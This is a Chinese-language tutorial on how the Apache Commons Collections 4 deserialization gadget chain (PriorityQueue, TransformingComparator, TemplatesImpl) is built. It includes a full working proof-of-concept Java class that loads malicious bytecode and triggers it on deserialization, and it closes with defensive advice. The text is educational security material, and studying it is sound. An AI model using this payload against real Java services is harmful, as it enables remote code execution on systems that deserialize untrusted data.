java安全:从发现者角度解析CC4链构造过程
字数 1199 2025-08-29 22:41:38

Apache Commons Collections 4 (CC4) 反序列化漏洞利用链分析

概述

本文详细解析Apache Commons Collections 4 (CC4)反序列化漏洞利用链的构造过程,从发现者的角度分析其工作原理和实现细节。

利用链核心组件

  1. ChainedTransformer - 允许将多个Transformer串联执行
  2. TransformingComparator - 比较器,内部调用transform方法
  3. PriorityQueue - Java优先队列类,在反序列化时会调用比较器

利用链构造过程

1. 寻找transform方法调用点

首先从ChainedTransformer入手,寻找CC4包中哪些类调用了transform方法:

  • 发现TransformingComparator
  • compare方法内部调用了transform方法

2. 寻找compare方法调用点

接下来寻找哪些类的readObject方法调用了compare方法:

  • 找到PriorityQueue优先队列类
  • 反序列化过程调用链:
    • readObject
    • heapify
    • siftDown
    • siftDownUsingComparator (调用compare方法)

3. 与CC3链的区别

CC4链与CC3链的主要区别:

  • 前面的链从LazyMap变为PriorityQueue
  • 触发点从AnnotationInvocationHandler变为TransformingComparator

完整利用代码分析

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4Test {
    public static void main(String[] args) throws Exception {
        // 1. 创建TemplatesImpl恶意对象
        final TemplatesImpl templates = new TemplatesImpl();
        final Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        
        // 设置_name字段
        final Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"yuji");
        
        // 设置_class字段为null
        final Field classDeclaredField = templatesClass.getDeclaredField("_class");
        classDeclaredField.setAccessible(true);
        classDeclaredField.set(templates,null);
        
        // 加载恶意字节码
        byte[] bytecode = Files.readAllBytes(Paths.get("E:\\java_sec\\tmp\\evil.class"));
        byte[][] bytecodes = {bytecode};
        final Field bytecodesfield = templatesClass.getDeclaredField("_bytecodes");
        bytecodesfield.setAccessible(true);
        bytecodesfield.set(templates,bytecodes);
        
        // 设置_tfactory字段
        final Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        
        // 2. 构造Transformer链
        final InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
            new Class[]{Templates.class}, 
            new Object[]{templates});
        
        final ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer,
        });
        
        // 3. 创建TransformingComparator并设置Transformer
        final TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        
        // 4. 创建PriorityQueue并设置比较器
        final PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        
        // 5. 通过反射修改size绕过检查
        final Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
        final Field sizeField = priorityQueueClass.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.set(priorityQueue,5);
        
        // 序列化和反序列化测试
        serialize(priorityQueue);
        Deserialize("cc4.ser");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
        objectOutputStream.writeObject(obj);
    }
    
    public static Object Deserialize(String filename) throws Exception {
        final ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        return objectInputStream.readObject();
    }
}

关键点说明

  1. TemplatesImpl利用

    • 通过反射设置_name_bytecodes等字段
    • 加载恶意字节码实现代码执行
  2. Transformer链构造

    • ConstantTransformer返回TrAXFilter.class
    • InstantiateTransformer实例化TrAXFilter并传入恶意TemplatesImpl
  3. PriorityQueue利用

    • 使用TransformingComparator作为比较器
    • 反序列化时会触发比较操作,进而执行transform链
  4. size字段绕过

    • 需要通过反射修改size字段值
    • 绕过PriorityQueue的某些内部检查

防御建议

  1. 升级到最新版本的Apache Commons Collections
  2. 使用Java反序列化过滤器
  3. 避免反序列化不可信数据

总结

CC4利用链通过PriorityQueue的反序列化过程触发TransformingComparator的比较操作,进而执行精心构造的Transformer链,最终实现任意代码执行。理解这一利用链有助于更好地防御Java反序列化漏洞。

Apache Commons Collections 4 (CC4) 反序列化漏洞利用链分析 概述 本文详细解析Apache Commons Collections 4 (CC4)反序列化漏洞利用链的构造过程,从发现者的角度分析其工作原理和实现细节。 利用链核心组件 ChainedTransformer - 允许将多个Transformer串联执行 TransformingComparator - 比较器,内部调用transform方法 PriorityQueue - Java优先队列类,在反序列化时会调用比较器 利用链构造过程 1. 寻找transform方法调用点 首先从 ChainedTransformer 入手,寻找CC4包中哪些类调用了 transform 方法: 发现 TransformingComparator 类 其 compare 方法内部调用了 transform 方法 2. 寻找compare方法调用点 接下来寻找哪些类的 readObject 方法调用了 compare 方法: 找到 PriorityQueue 优先队列类 反序列化过程调用链: readObject heapify siftDown siftDownUsingComparator (调用 compare 方法) 3. 与CC3链的区别 CC4链与CC3链的主要区别: 前面的链从 LazyMap 变为 PriorityQueue 触发点从 AnnotationInvocationHandler 变为 TransformingComparator 完整利用代码分析 关键点说明 TemplatesImpl利用 : 通过反射设置 _name 、 _bytecodes 等字段 加载恶意字节码实现代码执行 Transformer链构造 : ConstantTransformer 返回 TrAXFilter.class InstantiateTransformer 实例化 TrAXFilter 并传入恶意 TemplatesImpl PriorityQueue利用 : 使用 TransformingComparator 作为比较器 反序列化时会触发比较操作,进而执行transform链 size字段绕过 : 需要通过反射修改 size 字段值 绕过 PriorityQueue 的某些内部检查 防御建议 升级到最新版本的Apache Commons Collections 使用Java反序列化过滤器 避免反序列化不可信数据 总结 CC4利用链通过 PriorityQueue 的反序列化过程触发 TransformingComparator 的比较操作,进而执行精心构造的 Transformer 链,最终实现任意代码执行。理解这一利用链有助于更好地防御Java反序列化漏洞。